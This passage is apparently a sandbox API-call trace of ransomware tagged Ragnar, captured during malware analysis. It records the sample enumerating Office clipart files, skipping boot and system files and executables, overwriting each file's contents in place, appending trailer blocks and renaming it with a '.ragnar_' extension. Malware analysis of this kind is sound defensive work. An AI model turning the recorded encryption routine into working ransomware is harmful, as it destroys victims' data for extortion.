lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.917] CloseHandle (hObject=0xf4) returned 1 [0081.917] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" [0081.917] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.ragnar_FD7BD9FC" [0081.917] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.918] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0081.918] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.918] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01180_.WMF" | out: lpString1="DD01180_.WMF") returned="DD01180_.WMF" [0081.918] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned=".WMF" [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="autorun.inf") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="boot.ini") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="bootfont.bin") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="bootsect.bak") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="bootmgr") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="bootmgr.efi") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="desktop.ini") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="iconcache.db") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="ntldr") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="ntuser.dat") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="ntuser.ini") returned -1 [0081.918] lstrcmpiW (lpString1="DD01180_.WMF", lpString2="thumbs.db") returned -1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.918] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0081.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.919] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2084) returned 1 [0081.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.919] GetProcessHeap () returned 0x580000 [0081.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.919] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.920] VirtualAlloc (lpAddress=0x0, dwSize=0x824, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.920] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x824, lpOverlapped=0x0) returned 1 [0081.921] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.921] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x824, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.921] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x824, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x824, lpOverlapped=0x0) returned 1 [0081.921] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x824, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.921] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.921] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.921] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.921] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.921] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.921] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.921] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.921] GetProcessHeap () returned 0x580000 [0081.921] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.921] CloseHandle (hObject=0xf4) returned 1 [0081.921] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" [0081.921] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.ragnar_FD7BD9FC" [0081.922] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.922] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0081.922] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.922] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01181_.WMF" | out: lpString1="DD01181_.WMF") returned="DD01181_.WMF" [0081.922] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned=".WMF" [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="autorun.inf") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="boot.ini") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="bootfont.bin") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="bootsect.bak") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="bootmgr") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="bootmgr.efi") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="desktop.ini") returned -1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="iconcache.db") returned -1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="ntldr") returned -1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="ntuser.dat") returned -1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.922] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="ntuser.ini") returned -1 [0081.923] lstrcmpiW (lpString1="DD01181_.WMF", lpString2="thumbs.db") returned -1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.923] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0081.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.924] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1448) returned 1 [0081.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.924] GetProcessHeap () returned 0x580000 [0081.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.924] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.925] VirtualAlloc (lpAddress=0x0, dwSize=0x5a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.926] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5a8, lpOverlapped=0x0) returned 1 [0081.926] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.926] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.926] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5a8, lpOverlapped=0x0) returned 1 [0081.926] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.926] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.926] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.926] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.926] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.926] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.926] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.926] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.926] GetProcessHeap () returned 0x580000 [0081.926] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.927] CloseHandle (hObject=0xf4) returned 1 [0081.927] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" [0081.927] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.ragnar_FD7BD9FC" [0081.927] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.927] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0081.927] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.927] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01182_.WMF" | out: lpString1="DD01182_.WMF") returned="DD01182_.WMF" [0081.927] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned=".WMF" [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="autorun.inf") returned 1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="boot.ini") returned 1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="bootfont.bin") returned 1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="bootsect.bak") returned 1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="bootmgr") returned 1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="bootmgr.efi") returned 1 [0081.927] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="desktop.ini") returned -1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="iconcache.db") returned -1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="ntldr") returned -1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="ntuser.dat") returned -1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="ntuser.ini") returned -1 [0081.928] lstrcmpiW (lpString1="DD01182_.WMF", lpString2="thumbs.db") returned -1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.928] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0081.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.928] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2996) returned 1 [0081.928] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.928] GetProcessHeap () returned 0x580000 [0081.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.928] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.930] VirtualAlloc (lpAddress=0x0, dwSize=0xbb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.930] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbb4, lpOverlapped=0x0) returned 1 [0081.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.931] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.931] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbb4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbb4, lpOverlapped=0x0) returned 1 [0081.931] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.931] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.931] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.931] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.931] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.931] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.931] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.931] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.931] GetProcessHeap () returned 0x580000 [0081.931] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.931] CloseHandle (hObject=0xf4) returned 1 [0081.931] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" [0081.931] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.ragnar_FD7BD9FC" [0081.931] MoveFileExW 